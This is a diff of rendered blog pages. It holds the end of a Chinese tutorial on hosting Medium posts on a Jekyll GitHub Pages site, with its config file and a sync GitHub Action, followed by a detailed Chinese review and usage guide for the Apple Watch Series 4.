+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+
# The Site Configuration
+
+# Import the theme
+theme: jekyll-theme-chirpy
+
+# Change the following value to '/PROJECT_NAME' ONLY IF your site type is GitHub Pages Project sites
+# and doesn't have a custom domain.
+# baseurl: ''
+
+# The language of the webpage › http://www.lingoes.net/en/translator/langcode.htm
+# If it has the same name as one of the files in folder `_data/locales`, the layout language will also be changed,
+# otherwise, the layout language will use the default value of 'en'.
+lang: en
+
+# Additional parameters for datetime localization, optional. › https://github.com/iamkun/dayjs/tree/dev/src/locale
+prefer_datetime_locale:
+
+# Change to your timezone › http://www.timezoneconverter.com/cgi-bin/findzone/findzone
+timezone:
+
+# jekyll-seo-tag settings › https://github.com/jekyll/jekyll-seo-tag/blob/master/docs/usage.md
+# ↓ --------------------------
+
+title: ZhgChgLi                          # the main title
+
+tagline: Live a life you will remember.   # it will display as the sub-title
+
+description: >-                        # used by seo meta and the atom feed
+    ZhgChgLi iOS Developer 求知若渴 教學相長 更愛電影/美劇/西音/運動/生活
+
+# fill in the protocol & hostname for your site, e.g., 'https://username.github.io'
+url: 'https://zhgchg.li'
+
+github:
+  username: ZhgChgLi             # change to your github username
+
+twitter:
+  username: zhgchgli            # change to your twitter username
+
+social:
+  # Change to your full name.
+  # It will be displayed as the default author of the posts and the copyright owner in the Footer
+  name: ZhgChgLi
+  email: zhgchgli@gmail.com             # change to your email address
+  links:
+    - https://medium.com/@zhgchgli
+    - https://github.com/ZhgChgLi
+    - https://www.linkedin.com/in/zhgchgli
+
+google_site_verification:               # fill in to your verification string
+
+# ↑ --------------------------
+# The end of `jekyll-seo-tag` settings
+
+google_analytics:
+  id: G-6WZJENT8WR                 # fill in your Google Analytics ID
+  # Google Analytics pageviews report settings
+  pv:
+    proxy_endpoint:   # fill in the Google Analytics superProxy endpoint of Google App Engine
+    cache_path:       # the local PV cache data, friendly to visitors from GFW region
+
+# Prefer color scheme setting.
+#
+# Note: Keep empty will follow the system prefer color by default,
+# and there will be a toggle to switch the theme between dark and light
+# on the bottom left of the sidebar.
+#
+# Available options:
+#
+#     light  - Use the light color scheme
+#     dark   - Use the dark color scheme
+#
+theme_mode:   # [light|dark]
+
+# The CDN endpoint for images.
+# Notice that once it is assigned, the CDN url
+# will be added to all image (site avatar & posts' images) paths starting with '/'
+#
+# e.g. 'https://cdn.com'
+img_cdn:
+
+# the avatar on sidebar, support local or CORS resources
+avatar: '/assets/images/zhgchgli.jpg'
+
+# boolean type, the global switch for ToC in posts.
+toc: true
+
+comments:
+  active: disqus        # The global switch for posts comments, e.g., 'disqus'.  Keep it empty means disable
+  # The active options are as follows:
+  disqus:
+    shortname: zhgchgli    # fill with the Disqus shortname. › https://help.disqus.com/en/articles/1717111-what-s-a-shortname
+  # utterances settings › https://utteranc.es/
+  utterances:
+    repo:         # <gh-username>/<repo>
+    issue_term:   # < url | pathname | title | ...>
+  # Giscus options › https://giscus.app
+  giscus:
+    repo:             # <gh-username>/<repo>
+    repo_id:
+    category:
+    category_id:
+    mapping:          # optional, default to 'pathname'
+    input_position:   # optional, default to 'bottom'
+    lang:             # optional, default to the value of `site.lang`
+
+# Self-hosted static assets, optional › https://github.com/cotes2020/chirpy-static-assets
+assets:
+  self_host:
+    enabled:      # boolean, keep empty means false
+    # specify the Jekyll environment, empty means both
+    # only works if `assets.self_host.enabled` is 'true'
+    env:          # [development|production]
+
+paginate: 10
+
+# ------------ The following options are not recommended to be modified ------------------
+
+kramdown:
+  syntax_highlighter: rouge
+  syntax_highlighter_opts:   # Rouge Options › https://github.com/jneen/rouge#full-options
+    css_class: highlight
+    # default_lang: console
+    span:
+      line_numbers: false
+    block:
+      line_numbers: true
+      start_line: 1
+
+collections:
+  tabs:
+    output: true
+    sort_by: order
+
+defaults:
+  - scope:
+      path: ''          # An empty string here means all files in the project
+      type: posts
+    values:
+      layout: post
+      comments: true    # Enable comments in posts.
+      toc: true         # Display TOC column in posts.
+      # DO NOT modify the following parameter unless you are confident enough
+      # to update the code of all other post links in this project.
+      permalink: /posts/:title/
+  - scope:
+      path: _drafts
+    values:
+      comments: false
+  - scope:
+      path: ''
+      type: tabs             # see `site.collections`
+    values:
+      layout: page
+      permalink: /:title/
+  - scope:
+      path: assets/img/favicons
+    values:
+      swcache: true
+  - scope:
+      path: assets/js/dist
+    values:
+      swcache: true
+
+sass:
+  style: compressed
+
+compress_html:
+  clippings: all
+  comments: all
+  endings: all
+  profile: false
+  blanklines: false
+  ignore:
+    envs: [development]
+
+exclude:
+  - '*.gem'
+  - '*.gemspec'
+  - tools
+  - README.md
+  - LICENSE
+  - gulpfile.js
+  - node_modules
+  - package*.json
+
+jekyll-archives:
+  enabled: [categories, tags]
+  layouts:
+    category: category
+    tag: tag
+  permalinks:
+    tag: /tags/:name/
+    category: /categories/:name/
+

請依照註解將設定替換成您的內容。

⚠️ _config.yml 有調整都需要重新啟動本地網站!才會套用效果

預覽網站

依賴安裝完成後,

可以下 bundle exec jekyll s 啟動本地網站:

複製其中的網址 http://127.0.0.1:4000/ 貼到瀏覽器打開

本地預覽成功!

此 Terminal 開著,本地網站就開著,Terminal 會持續更新網站存取紀錄,方便我們除錯。

我們可以再開一個新的 Termnial 做後續的其他操作。

Jeklly 目錄結構

依照樣板不同可能會有不同的資料夾跟設定檔案,文章目錄在:

  • _posts/ :文章會放在這個目錄下 文章檔案命名規則: YYYYMMDD - 文章檔案名稱 .md
  • assets/ : 網站資源目錄,網站用圖片或 文章內的圖片 都要放置於此

其他目錄 _incloudes、_layouts、_sites、_tabs… 都可讓你做進階的擴充修改。

Jeklly 使用 Liquid 做為頁面模板引擎,頁面模板是類似繼承方式組成:

使用者可自由客製化頁面,引擎會先看使用者有沒有建立對應頁面的客製化檔案 -> 如果沒有則看樣板有沒有 -> 如果沒有就用原始的 Jekyll 樣式呈現。

所以我們可以很輕易地對任何頁面做客製化,只需要在相對應的目錄建立一樣的檔案名稱即可!

建立/編輯文章

  • 我們可以先把 _posts/ 目錄下的範例文章檔案全數刪除。

使用 Visual Code (免費) 或 Typora (付費) 建立 Markdown 檔案,這邊以 Visual Code 為例:

  • 文章檔案命名規則: YYYYMMDD - 文章檔案名稱 .md
  • 建議以英文為檔案名稱 (SEO 最佳化),這個名稱就會是網址的路徑

文章 內容頂部 Meta

1
+2
+3
+4
+5
+6
+7
+8
+9
+
---
+layout: post
+title:  "安安"
+description: ZhgChgLi 的第一篇文章
+date:   2022-07-16 10:03:36 +0800
+categories: Jeklly Life
+author: ZhgChgLi
+tags: [ios]
+---
+
  • layout: post
  • title: 文章標題 (og:title)
  • description: 文章描述 (og:description)
  • date: 文章發表時間 (不可以是未來)
  • author: 作者 (meta:author)
  • tags: 標籤 (可多個)
  • categories: 分類 (單個,用空格區分子母分類 Jeklly Life -> Jeklly 目錄下的 Life 目錄)

文章內容

使用 Markdown 格式撰寫:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
---
+layout: post
+title:  "安安"
+description: ZhgChgLi 的第一篇文章
+date:   2022-07-16 10:03:36 +0800
+categories: Jeklly Life
+author: ZhgChgLi
+tags: [ios]
+---
+# HiHi!
+你好啊
+我是 **ZhgChgLi**
+圖片:
+![](/assets/post_images/DSC_2297.jpg)
+

成果:

⚠️ 文章調整不需要重新啟動網站,檔案變更後會直接渲染顯示,如果過一陣子都沒出現修改內容,可能是文章內容格式有誤導致渲染失敗,可回到 Terminal 查看原因。

從 Medium 下載文章並轉成 Markdown 放入 Jekyll

有了基本的 Jekyll 知識後我們繼續向前邁進,使用 ZMediumToMarkdown 工具將現有在 Medium 網站上的文章下載並轉換成 Markdwon 格式放到我們的 Blog 資料夾中。

cd 到 blog 目錄下後,下以下指令將 Medium 上的該使用者所有文章都下載下來:

1
+
ZMediumToMarkdown -j 你的 Meidum 帳號
+

等待所有文章下載完成。。。

如有遇到任何下載問題、意外出錯歡迎 與我聯絡 ,這個下載器是我撰寫的( 開發心得 ),可以最快速直接地幫你解決問題。

下載完成後,回到本地網站就能預覽成果囉。

完成!!我們已經無痛地將 Medium 文章導入到 Jekyll 囉!

可以檢查一下文章有無跑版、圖片有無缺失,如果有一樣歡迎 回報給我 協助修復。

上傳內容到 Repo

本地預覽內容沒問題後,我們就要將內容 Push 到 Github Repo 囉。

依序使用以下 Git 指令操作:

1
+2
+3
+
git add .
+git commit -m "update post"
+git push
+

Push 完成後回到 Github 上,可以看到 Actions 有 CD 再跑:

約等待 5 分鐘…

部署完成!

首次部署完成設定

首次部署完成要更改以下設定:

否則前往網站只會出現:

1
+
--- layout: home # Index page ---
+

「Save」後不會馬上生效,要回到「Actions」頁面再一次重新等待部署。

重新部署完成後,就能成功進入網站了:

Demo -> zhgchg.li

現在你也擁有一個免費的 Jekyll 個人 Blog 囉!!

關於部署

每次 Push 內容到 Repo 都會觸發重新部署,要等到部署成功,更改才會真正生效。

綁定自訂網域

如果不喜歡 zhgchgli0718.github.io Github 網址,可以從 Namecheap 購買您喜歡的網域或是使用 Dot.tk 註冊免費 .tk 結尾的網域。

購買網域後進到網域後台:

加上以下四個 Type A Record 紀錄

1
+2
+3
+4
+
A Record @ 185.199.108.153
+A Record @ 185.199.109.153
+A Record @ 185.199.110.153
+A Record @ 185.199.111.153
+

網域後台新增好設定後,回到 Github Repo Settings:

在 Custom domain 的地方填入你的網域,然後按「Save」。

等待 DNS 通了之後,就可以用 zhgchg.li 取代掉原本的 github.io 網址。

⚠️ DNS 設定至少需要 5 分鐘 ~ 72 小時才會生效,如果一直無法認證過;請稍後再試。

雲端、全自動 Medium 同步機制

每次有新文章都要用電腦手動跑 ZMediumToMarkdown 然後再 Push 到專案,嫌麻煩嗎?

ZMediumToMarkdown 其實還提供貼心的 Github Action 功能 ,可以讓你解放電腦、全自動幫你同步 Medium 文章到你的網站上。

前往 Repo 的 Actions 設定:

點擊「New workflow」

點擊「set up a workflow yourself」

  • 檔案名稱修改為: ZMediumToMarkdown.yml
  • 檔案內容如下:
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
name: ZMediumToMarkdown
+on:
+  workflow_dispatch:
+  schedule:
+    - cron: "10 1 15 * *" # At 01:10 on day-of-month 15.
+
+jobs:
+  ZMediumToMarkdown:
+    runs-on: ubuntu-latest
+    steps:
+    - name: ZMediumToMarkdown Automatic Bot
+      uses: ZhgChgLi/ZMediumToMarkdown@main
+      with:
+        command: '-j 你的 Meidum 帳號'
+
  • cron : 設定執行週期 (每週?每個月?每天?),這邊是設定每個月 15 號凌晨 1:15 會自動執行
  • command: 填入你的 Medium 帳號在 -j 後面

點擊右上方「Start commit」->「Commit new file」

完成 Github Action 建立。

建立完成後回到 Actions 就會出現 ZMediumToMarkdown Action。

除了時間到自動執行外還可以依照以下步驟,手動觸發執行:

Actions -> ZMediumToMarkdown -> Run workflow -> Run workflow。

執行後,ZMediumToMarkdown 就會直接透過 Github Action 的機器跑同步 Medium 文章到 Repo 的腳本:

跑完後同樣會觸發重新部署,重新部署完成後到網站就會出現最新的內容了。🚀

完全無需人工操作!也就是說未來你還是可以繼續更新 Medium 文章,腳本都會貼心地自動幫你從雲端同步內容到你自己的網站上!

我的 Blog Repo

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS 為多語系字串買份保險吧!

App Store Connect API 現已支援 讀取和管理 Customer Reviews

diff --git a/posts/a2920e33e73e/index.html b/posts/a2920e33e73e/index.html new file mode 100644 index 000000000..78bca9622 --- /dev/null +++ b/posts/a2920e33e73e/index.html @@ -0,0 +1 @@ + Apple Watch Series 4 從入手到上手全方位心得 | ZhgChgLi
Home Apple Watch Series 4 從入手到上手全方位心得
Post
Cancel

Apple Watch Series 4 從入手到上手全方位心得

Apple Watch Series 4 開箱 從入手到上手全方位心得 (2020–10–24更新)

為什麼要買?好用嗎?哪裡好用?怎麼用?& WatchOS APP推薦

[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往

從入手開始…

個人背景

首先自述一下個人使用蘋果產品的背景,我並非忠實果粉;第一次接觸是在 2015 年用打工薪水買的 iPhone 6,後因工作所需直到去年才開始使用MacOS的電腦(Mac Mini)並在今年購入了自己的MacBook Pro、更換iPhone 8;其中我會踏入蘋果生態系的原因不外乎是:

  1. 工作需要(開發iOS APP一定要有MacOS設備)
  2. 工作效率(穩定度或程式切換、操作方式體驗都更好再配合生態系iPhone與MacOS之間的連動、資料同步在許多地方都能化繁為簡)
  3. 續航力、便攜性、Retina顯示器

[2019–05–02更新]:蘋果全家桶的設備再添一項, AirPods 2 (開箱及上手體驗請點此)

為何想買Apple Watch?

  1. 記錄運動情況、心率狀況
  2. 跑步不想帶手機
  3. 減少使用手機的時間,但又不想露接重要資訊
  4. 大包小包的時候能不用掏出手機/使用Apple Pay
  5. 靠近自動解鎖MacBook(我的MacBook Pro非Touch Bar版本,打密碼打得心很累)
  6. 騎車看導航
  7. 潮!沒用過,想買來玩玩
  8. 想寫 WatchOS APP

開始挑選…

綜合以上因素開始挑選適合的Apple Watch;撇除錶帶材質,單論本體有三種版本可供選擇:

  1. 鋁金屬錶殼+可能會刮傷的玻璃表面+GPS = $12,900(40mm) / $13,900 (44mm)
  2. 鋁金屬錶殼+可能會刮傷的玻璃表面+GPS+行動網路 = $16,500(40mm) / $17,500 (44mm)
  3. 不鏽鋼錶殼+藍寶石硬邦邦玻璃+GPS+行動網路 = $22,900(40mm) / $24,900 (44mm)

我個人是買 2. 鋁金屬錶殼+可能會刮傷的玻璃表面+GPS+行動網路 44 mm

錶面的部分:

大小

有40mm/44mm兩種,實際依照個人手腕大小做選擇,太大可能會不合手、心率偵測不準確;太小則戴起來看起來很怪

左44mm/右40mm (感謝同事友情支援)

左44mm/右40mm (感謝同事友情支援)

如果一時找不到東西比較,可以拿一個日拋隱形眼鏡的匣子作比較約=44mm (實際測量44.5mm)

如果一時找不到東西比較,可以拿一個日拋隱形眼鏡的匣子作比較約=44mm (實際測量44.5mm)

這裡附上筆者的手給大家參考,若還是不確定大小最好還是跑一趟101門市去試戴看看(我當初也是先瞄準40mm,結果去實際帶過才發現太小…)

*Apple Watch 3 38mm與 Apple Watch 4 40 mm 大小ㄧ樣錶帶通用 *Apple Watch 3 42mm與 Apple Watch 4 44 mm 大小ㄧ樣錶帶通用

錶殼材質

有鋁金屬錶殼+可能會刮傷的玻璃表面 和 不鏽鋼錶殼+藍寶石硬邦邦玻璃 兩種,預算充足的朋友當然建議選擇後者;個人因預算不足只好選擇前者;為何要選擇不鏽鋼錶殼+藍寶石硬邦邦玻璃版本呢?

1.雖然本體較重(運動時可能會感覺到)但在生活上更容易與穿搭配合,皮革錶帶或金屬錶帶與不修綱機身搭配加上商務衣著能有更一致的品味觀感;休閒或運動時更換運動型錶帶也不失優雅,能動能靜!

2.藍寶石硬邦邦玻璃不必費神擔心錶面刮傷(個人使用經驗:我的上一隻 iPhone 6 裸機使用一年多;沒特別傷害它,日常就放口袋、放桌上;螢幕還是刮得亂七八糟但鏡頭部分使用藍寶石硬邦邦玻璃所以完好如初)

但我買的是一般版本…如果你上網搜尋Apple Watch貼膜的文章會找到兩派的人,一派支持認為會刮傷要貼膜;另一派反對認為是使用習慣問題、沒那麼脆弱會刮傷、你有看勞力士有貼膜? 或你是佛系使用者買來就是要用、消耗性產品那也沒這困擾

我個人有點強迫症有刮傷會不爽,所以支持要貼膜;使用習慣問題? 我覺得只有撞到才是使用習慣不良,日常粉塵傷害實在難防

如果你也要貼膜,在這裡給你個建議「多花點錢找人貼」,一般我的手機都是自己貼的,為什麼說Apple Watch要找人貼?

這部分搞得我心很累,首先我在Pchome買東京*用的玻璃鋼化保護貼來貼($399),硬膜/只有邊框有膠,貼上去中間呈現一個中空狀態不密合觸控超級不靈敏(認真懷疑廠商是不是沒測試過?),所以貼一下就撕掉了;

第二次嘗試是買g*r軟膜($100/兩片)全膠能密合,但軟的很難貼容易有氣泡;兩片都試了還是有一點氣泡很礙眼,而且不疏油疏水用起來不順手。

最後花了$990給人家貼好(x豪包膜) h*a果凍膠玻璃貼,密合、沒氣泡、滿版、疏油疏水

如果還是想要自己嘗試貼膜的可以找找水凝膜。

貼膜後的手感當然不比原生好(個人感覺大約 97分:100分)而且螢幕會高一小截 ,取捨就看個人囉!

貼膜後的手感當然不比原生好(個人感覺大約 97分:100分)而且螢幕會高一小截 ,取捨就看個人囉!

3.錶殼部分不鏽鋼較耐撞、刮傷可重新拋光,看同事的不鏽鋼版本完好如初沒任何刮傷;錶殼部分我比較不在意,真的在意的朋友或許可以包膜(?

不鏽鋼版本 (感謝同事友情支援)

不鏽鋼版本 (感謝同事友情支援)

所以預算充足的朋友還是建議升不銹鋼版本.

關於選購保護殼:

保護貼很容易碎邊,我在沒有保護殼(套)的狀態下,平均貼不到一個月就會不知道怎麼的受傷碎邊,一張$990…之前共換了三張,快吐血;目前用保護套之後已經過了4個月都還完好如初!

建議「至少要用邊框保護套」哪一牌子都可

我的血淚教訓只想說一句相見恨晚,早知道有保護套這種產品就不用多花冤望錢!

要不要買支援行動網路的版本?

這部分我持保留態度;個人是有買行動網路版本,以後跑步運動就不用帶手機另外考量到要戴個2~3年不確定未來如何所以就先升級囉,但如果你預算有限,且不會沒帶手機出門,那可以只買WiFi版本就好(價差$3600) 請考量以下幾點:

  1. 目前Spotify不支援離線播放,運動聽音樂還是要帶手機 (2018/11/21) p.s Apple Music/KKBOX 支援離線播放沒這問題
  2. Apple Watch APP不多,能做的事也只有打電話/回訊息/回Line/回Fb Messenger/Apple Pay 僅此而已 *Apple Pay不需行動網路版就能離線使用
  3. 行動網路使用需額外申辦並繳交每個月$199電信費(中華/~2018/12/31前申辦優惠價$149),網路流量吃原本手機的方案
  4. 行動網路的運作方式是手錶將資料透過電信傳輸到手機再透過手機發送出去,因此你的 手機也必須處於開機狀態下才能使用手錶. *所以手機沒電關機…手錶也不能用,即使有辦行動網路

[2020–10–24 更新] :Spotify 已支援獨立播放,在手錶 Spotify APP 中選擇播放裝置->Apple Watch->連線藍牙耳機->即可播放!(依然還不支援離線下載播放,需再有網路環境下才可使用)。

購買

上週(2018/11/11)實際跑了一趟101沒有我要的貨,於是從網路下單由大陸發貨,11/11下單,11/12出貨,11/15準時送達:

開箱

拿到的時候很興奮直接拆開來用就沒做記錄了,開箱部分可參考網路: Apple Watch Series 4体验 全面屏手表,是你吗 (大陸)Apple Watch series 4完整開箱!其中三點功能超有 (台灣)

補張開箱圖

補張開箱圖

入手部分到此結束….

開始上手

配對、基礎設定這裡就不再贅述,可參考上面開箱文;這裡假定你已經都弄好開始使用Apple Watch了

附一張按鈕圖 — [Apple官方支援中心](https://support.apple.com/zh-tw/HT205552){:target="_blank"}

附一張按鈕圖 — Apple官方支援中心

「Digital Crown」= 「數位錶冠」 「Side Button」= 「側邊按鈕」

按鈕操作部分:

  1. 點一下數位錶冠在主畫面與錶面之間切換
  2. 點兩下數位錶冠切換到最近開啟的APP
  3. 點一下側邊按鈕呼出Dock (多工視窗),可設定顯示最近開啟的APP或自訂喜好的APP (打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->Dock->Dock排列)
  4. 點兩下側邊按鈕呼出Apple Pay,這時感應就會直接付款 p.s Apple Pay預設卡片修改請打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->錢包與Apple Pay->交易預設值->預設卡片->選擇您要預設的卡片 * 無法修改順序,只能指定某一張卡為預設放在第一
  5. 長壓側邊按鈕呼出系統選單「關閉電源」或「開機」、顯示醫療卡、播打SOS緊急電話

Apple Watch 螢幕截圖功能

很重要,所以放第一個,怎麼截Apple Watch的螢幕圖: 打開「iPhone」上的「Watch」 APP ->「我的手錶」頁-> 進入「一般」-> 「啟用螢幕快照」打開

在Apple Watch上同時按下數位錶冠和側邊按鈕,螢幕出現光影掠過效果後即表示截圖完成;這時打開iPhone就能看到截圖的相片囉!

揚聲器

手錶內建揚聲器只能通話時使用、播放提示音不能播放音樂;如果覺得用手錶講電話大家都會聽到可使用藍牙耳機

各圖示狀態說明

請參閱官方文件

Apple Watch與iPhone之間的連線

手錶在手機附近時使用藍牙,距離太遠時使用WiFi

左邊表示連線中斷中,右邊表示連線正常中

左邊表示連線中斷中,右邊表示連線正常中

iPhone APP的通知傳送到Apple Watch

手錶預設會吃iPhone上APP的通知設定,也可特別關閉某些APP的通知不要傳送到手錶(打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->「通知」->拉到最下方可針對各APP調整)

  • 若APP沒在此列表出現則表示該APP本來就沒在iPhone上開啟通知功能(請去「iPhone」上的「設定」->「通知」->打開該APP通知功能)
  • 為什麼有的通知會有提示音/震動有的不會? 這項設定是吃iPhone上APP的通知設定,APP「通知」有開啟「聲音」就會有提示音及震動
  • 大部分的APP通知都只支援查看,部分可支援操作(如Line的通知可點擊在手錶上回覆)
  • 手機未使用狀態+手錶配戴中,手錶才會跳新通知提示/手機端不會響但依然會出現在通知中心;避免出現手機與手錶都同時響的情況

APP有支援For Apple Watch時

  • 預設在安裝APP時該APP有支援For Apple Watch的APP時也會一併在Apple Watch上安裝該APP(可從「iPhone」上的「Watch」 APP ->「我的手錶」頁->「一般」->關閉「自動APP安裝」)
  • 能不能只安裝Apple Watch APP? 不行,目前無法獨立安裝Apple Watch APP;一定在iPhone都會有一個APP
  • 不想安裝Apple Watch版的APP 從「iPhone」上的「Watch」 APP ->「我的手錶」頁->滾動到下方「已在APPLE WATCH上安裝」部分點進去->關閉「顯示App於Apple Watch」
  • APP寫支援「複雜功能」的意思就是支援錶盤小工具

錶面設計

隨便你玩隨便你放,你覺得哪些資訊重要或怎樣設計比較美都看個人;我是把「我隨時看手錶都會想知道的資訊」放在錶盤上,也可以加入多個錶面作切換。

手電筒

你沒看錯,Apple Watch也有手電筒;在錶面頁由底部上拉出選單找到「手電筒」符號的按鈕,進入後可以左右切化畫面顏色;沒錯,就是螢幕高亮顏色而已!

比較特別的是還有一個爆閃模式:

Apple Watch S4 FlashLight

讓夜間活動更安全!

各個模式

「靜音模式」- 所有通知都靜音、都不震動、不亮螢幕提示,僅顯示在通知中心

「劇院模式」- 抬手不會喚醒螢幕,要點擊螢幕才會喚醒

「水中鎖定」- 螢幕觸控鎖定,要轉動數位錶冠後才能解鎖,解鎖後揚聲器會自動播放聲音排出積水

「飛航模式」- 關閉所有外部連線

「省電模式」- 真的很省電!只剩下按數位錶冠顯示時間功能,其他完全關閉,幾乎等於關機狀態;退出省電模式要按住側邊按鈕(同開機)

以上所有模式,鬧鐘、倒數功能皆會照樣響「省電模式下會強制開機」

抬手腕直接呼叫Siri

只要抬起手腕,螢幕點亮後,可以直接說話使用Siri!,不用說「Hey! Siri」(EX: 抬手後直接說 “明天天氣” )。 在手機離你有一段距離時也能使用Siri(EX:曬衣服的時候)。

[2019–05–02更新]:更上一層的Siri體驗?請參考 AirPods 2 開箱及上手體驗心得 中的 Siri部分,AirPods 2 的 Siri 有戴耳機就能直接使用,連抬手腕都不用了。

AQI空氣品質無法顯示?

內建的AQI似乎不支援台灣地區,要去「App Store」搜尋「在意空氣」下載安裝+開啟後,再到錶盤設計複雜功能的地方改選擇「在意空氣」即可

用Apple Watch解鎖Mac電腦

  1. 確認你的iPhone/Apple Watch/Mac電腦登入的是同個Apple帳號
  2. 確認你的Apple帳號有開啟 雙重認證
  3. 系統在檢測到你的Apple帳號有Apple Watch裝置之後就會在「系統偏好設置」->「安全與隱私權」->「一般」->新增一行「允許Apple Watch解鎖您的Mac」->「打勾即可」

若一直啟用失敗,請先確認你的Apple帳號有開啟雙重認證(非 雙步認證 )或試試重啟電腦!

p.s 我公司的Mac Mini就是一直無法啟用,重啟之後就正常了

相片打開空白?

預設顯示iPhone上喜愛的項目,打開iPhone的「相片」在想要傳到手錶上的相片點「愛心」就會出現了

活動紀錄及體能訓練

活動紀錄每日有三個圈圈三個目標: 1. 站立(藍):每一小時有站立1分鐘就算達成1次

2. 運動(綠):超越快走強度的活動時間才會被計算

3.活動(紅):燃燒的動態卡路里數,有在動就會增加

詳細可查看iPhone上「健康」APP有詳細解說。

每日達成紀錄會提示,另外可在Apple Watch上的「活動紀錄」APP重壓調整活動目標值(預設一天活動360大卡就達標了)

體能訓練部分跑步我是使用Nike Run Club +沒使用內建的,上週去騎腳踏車試用內建的體能訓練->「室外單車」做紀錄,會記錄高度/距離/時間/路徑/心律 讚讚!

地圖功能?

目前僅支援Apple Map,Google Map暫時不支援,打開「地圖」搜尋或選擇個人資訊設定的公司住家地址(來源:聯絡資訊->我的名片)或聯絡資訊或自行輸入目標;開始導航後每個轉折點都是一張卡,依據行駛自動跳頁,可轉動查看,點擊可進入查看地圖內容,距離剩下40公尺的時候會震動提示你,重壓可結束導航.

這部分只是把你手機的Apple Map資訊傳到手錶上(手錶導航時手機的導航也會自動打開)

實際使用感想:Apple Map的地標很少難搜尋、好像只會導大路,明明有雙線道、更快、沒塞車的路線卻不導…所以還是期待Google Map更新吧,這個就先加減用了

這裡附上一個Siri捷徑: 使用Apple Map開啟Google Map項目

藍芽拍照按鈕

Apple Watch 打開 「相機」這時手機的相機也會打開,就能用手錶控制手機的相機進行拍照、錄影,重壓進行切換鏡頭/設定相機.

我的手機在哪裡啊?

在錶面頁由底部上拉出選單找到一個「手機在震動的Icon」點擊後手機就會發出聲響!

  • 手機在靜音、無擾狀態下依然會發出聲響
  • 重壓Icon手機除了發出聲響之外還會發出閃光燈

p.s 反過來手機要找手錶則無此功能,若是遺失要找請從「尋找iPhone」中尋找

訊息輸入無法辨識手寫中文字、語音也聽無中文

覺得這是Bug…

在訊息中重壓「麥克風」或「手寫」Icon 呼出選單>「選擇語言」->「中文」

在訊息中重壓「麥克風」或「手寫」Icon 呼出選單>「選擇語言」->「中文」

另一方法是,打開「iPhone」->「設定」->「一般」->「鍵盤」->「聽寫」->「聽寫語言」->只勾「國語」

這樣你的語音輸入就只聽得懂國語了,手機部分一併受到影響

關閉深呼吸提醒/關閉站立提醒

打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->呼吸->關閉呼吸提醒

打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->活動紀錄->關閉站立提醒

手錶想設定更複雜的密碼

打開「iPhone」上的「Watch」 APP ->「我的手錶」頁->密碼->簡易密碼->關閉->則可設定6位數密碼

電話進來手錶能顯示Whoscall資訊嗎?

不行。

會頓嗎?

實際與同事的Apple Watch S3相比,S4 開啟APP幾乎不用Loading、開機也很快 實測可參考這部影片: 【最新】4代 Apple Watch Series 4 速度實測 音量比較

耗電嗎?

我的配戴時間只有起床~洗澡前,睡覺不戴(床靠牆怕無意識時敲到牆壁),洗澡前拆下來充電

  • 晚上12點充滿電拆下放著,隔天早上8點大約剩下95%
  • 晚上12點充滿電拆下放著, 切換飛航模式 ,隔天早上8點大約剩下98%

一整天下來約配戴15小時,沒刻意一直玩的話大約剩下65%電量,很能撐,勉強可以兩天一充.

*第一次充電可能需要較長時間 *前幾天電池效能可能還沒發揮會較耗電

實用APP推薦

1. 在意空氣 (免費):支援錶盤複雜功能AQI資訊

2. 秒速記帳 ($60):快速記帳軟體、支援錶盤複雜功能,有試過這套跟C*Money,但C*Money 要$120 而且供介面太過複雜,個人用不上手;所以比較推薦這款

3. Bus+ (免費):查詢公車資訊,原本使用的是台北等公車但該APP不支援Apple Watch,只好忍痛捨棄;Bus+與台北等公車邏輯有所不同,Bus+是以站為基礎,這邊個人的設定方法是;分常用的地點(家裏/公司/捷運站)再把有經過的公車路線加入

Bus+

Bus+

4. Nike+ Run Club (免費):跑步記錄APP

5. Shazam (免費):按一下辨識音樂(雖然直接問Siri也可以),還有另一款soundhound,個人實測是Shazam比較快

6. 雙北市Ubike+ (免費):查看鄰近的/收藏的Ubike站可借跟可停數量

7. 錄音機 (免費):快速使用Apple Watch錄音、傳輸到手機

8. 倒數日 (免費):查看紀念日/未來事件倒數

9. Advanced Calculator For Apple Watch OS (免費):在Apple Watch上使用小計算機

Line,Spotify….e.t.c

總結及使用一週心得

佩戴至今快滿兩週,從原本很新奇的心情到現在已經平淡地融入到生活;到目前為止對生活有感的幫助:解鎖MAC我不用在打冗長的密碼(公司規定離開座位要登出)、即時查看天氣狀況、看看導航、APP通知、看看心律關心一下健康,差不多就如此而已;支援的APP及功能實在太少.

使用手機的時間有減少?沒有特別感覺 ,因為收到通知我還是習慣用手機回,手錶回要用語音…在大庭廣眾下…用手寫的又非常慢;再者許多APP是不支援Apple Watch的

動輒$12,900起跳真的值得嗎?破萬的手錶有更多很好的選擇,但要連動頻果全家桶就只有一個;如果你只是想單純買隻名錶那大可不必使用Apple Watch;如果你想要能解決日常瑣碎的手錶可以考慮;如果你想要奢侈品+解決日常瑣碎可以考慮不鏽鋼甚至是Hermès版!

購買至今曾經有想退掉的念頭,總覺得$17,500能做很多事,花在一隻手錶上好像不太值得,但他的確又對日常生活是有幫助的,這個幫助值不值$17,500呢?我覺得目前不值,等Apple Watch APP生態系更有規模一點再來評估了,目前就是奢侈品XD,因為爽、潮、衝動所以買.

其他項目就等大家自行體會囉

-

[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往

手錶都買了,不考慮AirPods 2耳機嗎?

請看下一篇>> AirPods 2 開箱及上手體驗心得

自己的Apple Watch App 自己開發:

請看 動手做一支 Apple Watch App 吧!(Swift)

想在手錶控制智慧家電?

請看 智慧家居初體驗 — Apple HomeKit & 小米米家

使用三個月後心得:

詳細請看 這篇

